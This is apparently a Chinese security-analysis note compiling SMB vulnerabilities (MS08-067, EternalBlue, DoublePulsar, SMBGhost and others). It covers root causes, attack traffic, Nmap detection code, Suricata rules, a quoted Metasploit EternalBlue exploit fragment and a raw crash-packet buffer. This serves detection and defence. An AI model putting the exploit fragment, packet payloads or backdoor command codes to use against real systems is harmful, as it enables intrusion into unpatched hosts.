SMB漏洞汇总
MS08-067
CVE-2008-4250微软编号为MS08-067,根据微软安全漏洞公告,基本可以了解其原理:
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化(将路径字符串中的'/'转换为'',同时去除相对路径"."和".."),而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
exploit建立了TCP连接,然后进行SMB空会话连接。构建恶意路径,先初始化一些变量,填补字符串pad、服务器名称server以及前缀prefix、路径path。函数使用rop技术构建shellcode,将payload进行编码之后,构造触发漏洞的unicode相对路径"....",然后填充字符串,添加字符串结尾'\0'。
漏洞原理
脚本地址 https://svn.nmap.org/nmap/scripts/smb-vuln-ms08-067.nse
MS17-010
MS17-010(永恒之蓝)应用的不仅仅是一个漏洞,而是包含Windows SMB 远程代码执行漏洞CVE-2017-0143、CVE-2017-0144、CVE-2017-0145、CVE-2017-0146、CVE-2017-0147、CVE-2017-0148在内的6个SMB漏洞的攻击,所以攻击显得十分繁琐。
参考资料
[MS17-010译文](https://www.anquanke.com/post/id/86270)
[TrendMicro原文](https://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/)
漏洞原理
流量取自Msf MS17-010/Nmap
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:
1.srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
2.因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
3.因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出
流量分析
在NT Trans Rquest(0xa0)中
TotalDataCount为66512>FEA list的大小(65536)
TotalDataCount(4字节):在此事务请求中发送的SMB_COM_NT_TRANSACT数据字节的总数。在属于同一事务的任何或所有后续SMB_COM_NT_TRANSACT_SECONDARY请求中,这个值可能会减少。此值表示transaction data bytes, 不是SMB data bytes.
IN-DATA会被转换为FEA list的结构,FEA list结构如下图所示
脚本
脚本地址 https://svn.nmap.org/nmap/scripts/smb-vuln-ms17-010.nse
nmap使用
nmap -p445 --script smb-vuln-ms17-010
该脚本连接到$IPC tree,在FID 0上执行一个transaction,并检查是否返回错误“STATUS_INSUFF_SERVER_RESOURCES”,以确定目标是否没有针对ms17-010打过修补。另外,它检查补丁系统返回的已知错误代码。
Nmap脚本
--SMB_COM_TRANSACTION opcode is 0x25
smb_header = smb.smb_encode_header(smbstate, 0x25, overrides)
smb_params = string.pack(">I2 I2 I2 I2 B B I2 I4 I2 I2 I2 I2 I2 B B I2 I2 I2 I2 I2 I2",
0x0, -- Total Parameter count (2 bytes)
0x0, -- Total Data count (2 bytes)
0xFFFF, -- Max Parameter count (2 bytes)
0xFFFF, -- Max Data count (2 bytes)
0x0, -- Max setup Count (1 byte)
0x0, -- Reserved (1 byte)
0x0, -- Flags (2 bytes)
0x0, -- Timeout (4 bytes)
0x0, -- Reserved (2 bytes)
0x0, -- ParameterCount (2 bytes)
0x4a00, -- ParameterOffset (2 bytes)
0x0, -- DataCount (2 bytes)
0x4a00, -- DataOffset (2 bytes)
0x02, -- SetupCount (1 byte)
0x0, -- Reserved (1 byte)
0x2300, -- PeekNamedPipe opcode
0x0, --
0x0700, -- BCC (Length of "\PIPE\")
0x5c50, -- \P
0x4950, -- IP
0x455c -- E\
)
3.3补充
通过判断服务器响应错误代码判断是否利用成功,
这里实际有两个取值分别用于判断机器是否打补丁、是否可被利用
STATUS_INSUFF_SERVER_RESOURCES(0xc0000205)。小端序。
--STATUS_INSUFF_SERVER_RESOURCES indicate that the machine is not patched
if err == 0xc0000205 then //判断patch
stdnse.debug1("STATUS_INSUFF_SERVER_RESOURCES response received")
return true
elseif err == 0xc0000022 then
stdnse.debug1("STATUS_ACCESS_DENIED response received. This system is likely patched.")
return false, "This system is patched."
elseif err == 0xc0000008 then
stdnse.debug1("STATUS_INVALID_HANDLE response received. This system is likely patched.")
return false, "This system is patched."
end
stdnse.debug1("Error code received:%s", stdnse.tohex(err))
else
stdnse.debug1("Received invalid command id.")
return false, string.format("Unexpected SMB response:%s", stdnse.tohex(err))
end
end
end
STATUS_INVALID_PARAMETER 0xC000000D 漏洞利用
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
print_status("Starting non-paged pool grooming")
# initialize_groom_threads(ip, port, payload, grooms)
fhs_sock = smb1_free_hole(true)
@groom_socks = []
print_good("Sending SMBv2 buffers")
smb2_grooms(grooms, payload_hdr_pkt)
fhf_sock = smb1_free_hole(false)
print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
fhs_sock.shutdown()
print_status("Sending final SMBv2 buffers.") # 6x
smb2_grooms(6, payload_hdr_pkt) # todo: magic #
fhf_sock.shutdown()
print_status("Sending last fragment of exploit packet!")
final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
sock.put(final_exploit_pkt)
print_status("Receiving response from exploit packet")
code, raw = smb1_get_response(sock)
code_str = "0x" + code.to_i.to_s(16).upcase
if code.nil?
print_error("Did not receive a response from exploit packet")
elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
else
print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
end
https://github.com/hanshaze/MS17-010-EternalBlue-WinXP-Win10/blob/master/ms17_010_eternalblue_winXP-win10.rb
http://qxzy.org/archives/20
https://zhuanlan.zhihu.com/p/27705903
流量发现
关于DoublePulsar
分析报告
参考链接
后门函数将SMB的Timeout请求字段解码,把解码的结果跟0×23,0×77,0xc8比较作为后门的命令
当结果为0×23时,后门函数用来检查后门是否已经安装,即PING命令。
当结果为0×77时,后门函数用来进一步执行传入的shellcode。
当结果为0xc8时,后门函数用来卸载后门。
这个请求中Timeout的值为 93 89 07 00: 0×93+0×89+0×07+00= 0×123,取最后一个字节,结果为0×23,根据上面的分析,这是PING命令。
Doublepulsar复现
=待补充=
http://www.secist.com/archives/3504.html
两段payload
00 00 c0 98 07 c8 00 00 00 00 00 00 00 02 08 9c 13 00 08R 00
CVE-2009-3103
https://blog.csdn.net/lhorse003/article/details/71758812
Nmap探测脚本
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
MS06-025
Nmap脚本
--create the SMB session
--first we try with the "\router" pipe, then the "\srvsvc" pipe.
local status, smb_result, smbstate, err_msg
status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH)
if(status == false) then
err_msg = smb_result
status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
if(status == false) then
return false, NOTUP --if not accessible across both pipes then service is inactive
end
end
smbstate = smb_result
--bind to RRAS service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
End
Nmap流量
尝试连接\router \srvsvc
MS07-029
Nmap流量
尝试打开“\DNSSERVER”,报错,未开启DNS RPC服务。
CVE-2020-0796
SMB Ghost v3漏洞
漏洞原理
流量样本
拿到一段DDOS流量样本 其中协商部分的data与Mcafee一致
0000 fc 53 4d 42 a2 00 00 00 02 00 00 00 ff ff ff ff .SMB............
0010 18 1b 8e 00 fe 53 4d 42 40 00 01 00 01 00 01 00 .....SMB@.......
0020 80 28 00 03 00 8b 00 00 00 ff fe 20 00 07 00 3f .(......... ...?
0030 02 19 50 01 5d 01 58 00 4a 28 00 03 00 60 48 06 ..P.].X.J(...`H.
0040 00 40 00 00 06 2b 06 01 05 05 02 a0 3e 30 3c a0 .@...+......>0<.
0050 0e 30 0c 06 0a 78 00 04 01 82 37 02 02 0a a2 2a .0...x....7....*
0060 04 28 4e 54 4c ff 7f 61 08 4d 53 53 50 4a 03 97 .(NTL..a.MSSPJ..
0070 82 08 e2 30 00 07 00 0a 00 ba 47 30 00 0f ...0......G0..
解析如下:
We can see the very large OriginalSize used for attacker-controlled data (4294967295 is 0xFFFFFFFF in hex which is also -1 if viewed as a signed long). This is copied into a smaller fixed buffer and results in a classic buffer overflow.
Of note is the ProtocolID of \xfcSMB, which must be present and represents the magic bytes used to indicate the message must be decompressed per the spec.
suricata规则
alert tcp any any -> any any (msg: "ATTACK [PTsecurity] CoronaBlue/SMBGhost DOS/RCE Attempt (CVE-2020-0796)"; flow: established; content: "|FC|SMB"; depth: 8; byte_test: 4, >, 0x800134, 8, relative, little; reference: url, www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796; reference: cve, 2020-0796; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: attempted-admin; sid: 10005777; rev: 2;)
alert tcp any any -> any any (msg: "ATTACK [PTsecurity] CoronaBlue/SMBGhost DOS/RCE Attempt (CVE-2020-0796)"; flow: established; content: "|FC|SMB"; depth: 8; byte_test: 4, >, 0x800134, 0, relative, little; reference: url, www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796; reference: cve, 2020-0796; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: attempted-admin; sid: 10005778; rev: 2;)
byte_test: 4, >, 0x800134, 8, relative, little;
relative 使用一个相对于上次模式匹配的相对的偏移量。
big 以网络字节顺序处理数据(缺省)。
little 以主机字节顺序处理数据。
从前面匹配位置结尾开始>,向后偏移8字节,获取4字节数据,与十六进制0x800134比较,如果
大于则命中。
按照上面的规则检测流量包,确实命中
|FC|SMB -> fc 53 4d 42 a2
向后偏移8字节得到ff ff ff ff > 0x800134
OriginalCompressedSegmentSize与最大值0x800134比较
参考链接
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796
https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
https://www.freebuf.com/sectool/232738.html
https://www.cnblogs.com/potatsoSec/p/12484973.html
CVE-2020-1301
SMB v1漏洞 触发需要预先进行身份认证
https://www.52pojie.cn/thread-1208267-1-1.html